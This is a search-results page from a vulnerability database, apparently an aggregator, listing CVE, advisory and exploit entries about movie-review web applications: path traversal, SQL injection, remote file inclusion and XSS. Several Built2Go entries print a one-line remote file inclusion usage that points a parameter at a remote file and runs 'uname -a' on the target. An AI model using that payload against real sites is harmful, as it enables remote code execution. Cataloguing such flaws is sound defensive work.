Lucene search
+L

17 matches found

OSV
OSV
added 2022/07/11 1:15 a.m.8 views

CVE-2022-31554

The rohitnayak/movie-review-sentiment-analysis repository through 2017-05-07 on GitHub allows absolute path traversal because the Flask sendfile function is used unsafely...

9.3CVSS7.3AI score0.01299EPSS
SaveExploits1References1
CNNVD
CNNVD
added 2022/07/11 12:00 a.m.8 views

movie-review-sentiment-analysis 路径遍历漏洞

movie-review-sentiment-analysis is used by Rohit Nayak, an individual developer, to perform sentiment analysis on IMDB movie reviews in order to categorize them as positive or negative reviews. A security vulnerability exists in movie-review-sentiment-analysis version 2017-05-07 and earlier, whic...

9.3CVSS8.2AI score0.01299EPSS
SaveExploits1References2
exploitpack
exploitpack
added 2017/02/12 12:00 a.m.20 views

Viavi Movie Review - id SQL Injection

Viavi Movie Review - id SQL Injection Exploit Title: Viavi Movie Review - SQL Injection Google Dork: N/A Date: 12.02.2017 Vendor Homepage: http://viavilab.com/ Software Buy: https://codecanyon.net/item/movie-review/12729570 Demo: http://viavilab.com/codecanyon/moviereviewdemo/ Version: N/A Tested...

1AI score
SaveExploits0
zdt
zdt
added 2017/02/12 12:00 a.m.20 views

Viavi Movie Review - id Parameter SQL Injection Vulnerability

Exploit for php platform in category web applications Exploit Title: Viavi Movie Review - SQL Injection Google Dork: N/A Date: 12.02.2017 Vendor Homepage: http://viavilab.com/ Software Buy: https://codecanyon.net/item/movie-review/12729570 Demo: http://viavilab.com/codecanyon/moviereviewdemo/...

7.1AI score
SaveExploits0
Packet Storm
Packet Storm
added 2017/02/12 12:00 a.m.40 views

Viavi Movie Review SQL Injection

Exploit Title: Viavi Movie Review - SQL Injection Google Dork: N/A Date: 12.02.2017 Vendor Homepage: http://viavilab.com/ Software Buy: https://codecanyon.net/item/movie-review/12729570 Demo: http://viavilab.com/codecanyon/moviereviewdemo/ Version: N/A Tested on: Win7 x64, Kali Linux x64 Exploit...

1.1AI score
SaveExploits0
Exploit DB
Exploit DB
added 2017/02/12 12:00 a.m.39 views

Viavi Movie Review - 'id' SQL Injection

Exploit Title: Viavi Movie Review - SQL Injection Google Dork: N/A Date: 12.02.2017 Vendor Homepage: http://viavilab.com/ Software Buy: https://codecanyon.net/item/movie-review/12729570 Demo: http://viavilab.com/codecanyon/moviereviewdemo/ Version: N/A Tested on: Win7 x64, Kali Linux x64 Exploit...

5.3AI score
SaveExploits0
seebug.org
seebug.org
added 2014/07/01 12:00 a.m.17 views

Built2Go PHP Movie Review <= 2B Remote File Inclusion Vulnerability

No description provided by source...

7.1AI score
SaveExploits0
NVD
NVD
added 2006/04/25 12:50 p.m.17 views

CVE-2006-2008

PHP remote file inclusion vulnerability in moviecls.php in Built2Go PHP Movie Review 2B and earlier allows remote attackers to execute arbitrary PHP code via a URL in the fullpath parameter...

7.5CVSS7.6AI score0.03454EPSS
SaveExploits1References6
Prion
Prion
added 2006/04/25 12:50 p.m.17 views

Remote file inclusion

PHP remote file inclusion vulnerability in moviecls.php in Built2Go PHP Movie Review 2B and earlier allows remote attackers to execute arbitrary PHP code via a URL in the fullpath parameter...

7.5CVSS8.1AI score0.03454EPSS
SaveExploits1References6Affected Software1
CVE
CVE
added 2006/04/25 10:00 a.m.58 views

CVE-2006-2008

The CVE-2006-2008 issue affects Built2Go PHP Movie Review 2B and earlier, via PHP file movie_cls.php. The underlying flaw is a remote file inclusion vulnerability that allows an attacker to execute arbitrary PHP code by supplying a URL in the full_path parameter. References include historical adv...

7.5CVSS7.6AI score0.03454EPSS
SaveExploits1References6Affected Software1
EUVD
EUVD
added 2006/04/25 10:00 a.m.10 views

EUVD-2006-2009

PHP remote file inclusion vulnerability in moviecls.php in Built2Go PHP Movie Review 2B and earlier allows remote attackers to execute arbitrary PHP code via a URL in the fullpath parameter...

7.5CVSS7.5AI score0.03454EPSS
SaveExploits1References6
securityvulns
securityvulns
added 2006/04/25 12:00 a.m.52 views

[SA19749] built2go Movie Review &quot;full_path&quot; File Inclusion Vulnerability

TITLE: built2go Movie Review "fullpath" File Inclusion Vulnerability SECUNIA ADVISORY ID: SA19749 VERIFY ADVISORY: http://secunia.com/advisories/19749/ CRITICAL: Highly critical IMPACT: System access WHERE: From remote SOFTWARE: built2go Movie Review 1.x http://secunia.com/product/9515/...

0.9AI score
SaveExploits0
zdt
zdt
added 2006/04/23 12:00 a.m.59 views

Built2Go PHP Movie Review <= 2B Remote File Inclusion Vulnerability

Exploit for unknown platform in category web applications =================================================================== Built2Go PHP Movie Review = 2B Remote File Inclusion Vulnerability =================================================================== Built2Go PHP Movie Review =2B Remote...

7.1AI score
SaveExploits0
exploitpack
exploitpack
added 2006/04/23 12:00 a.m.19 views

Built2Go PHP Movie Review 2B - Remote File Inclusion

Built2Go PHP Movie Review 2B - Remote File Inclusion Built2Go PHP Movie Review =2B Remote File Inclusion Vulnerability in moviecls.php requireonce"$fullpath/reviewcls.php"; usage: http://www.site.com/path/moviecls.php?fullpath=http://www.site.com/x.txt?&cmd=uname -a milw0rm.com 2006-04-23...

0.9AI score
SaveExploits0
seebug.org
seebug.org
added 2006/04/23 12:00 a.m.19 views

Built2Go PHP Movie Review &lt;= 2B Remote File Inclusion Vulnerability

No description provided by source. Built2Go PHP Movie Review =2B Remote File Inclusion Vulnerability in moviecls.php requireonce"$fullpath/reviewcls.php"; usage: http://www.site.com/path/moviecls.php?fullpath=http://www.site.com/x.txt?&cmd=uname -a milw0rm.com 2006-04-23...

7.1AI score
SaveExploits0
Exploit DB
Exploit DB
added 2006/04/23 12:00 a.m.46 views

Built2Go PHP Movie Review 2B - Remote File Inclusion

Built2Go PHP Movie Review =2B Remote File Inclusion Vulnerability in moviecls.php requireonce"$fullpath/reviewcls.php"; usage: http://www.site.com/path/moviecls.php?fullpath=http://www.site.com/x.txt?&cmd=uname -a milw0rm.com 2006-04-23...

7.5CVSS5.8AI score0.03454EPSS
SaveExploits1
NVD
NVD
added 2005/12/20 11:03 a.m.26 views

CVE-2005-4413

Multiple cross-site scripting XSS vulnerabilities in sample scripts in IBM WebSphere Application Server 6 allow remote attackers to inject arbitrary web script or HTML via the 1 E-mail address field to a PlantsByWebSphere/login.jsp, 2 message field to b TechnologySample/BulletinBoard Script, 3...

4.3CVSS5.7AI score0.01164EPSS
SaveExploits0References3
Rows per page
Query Builder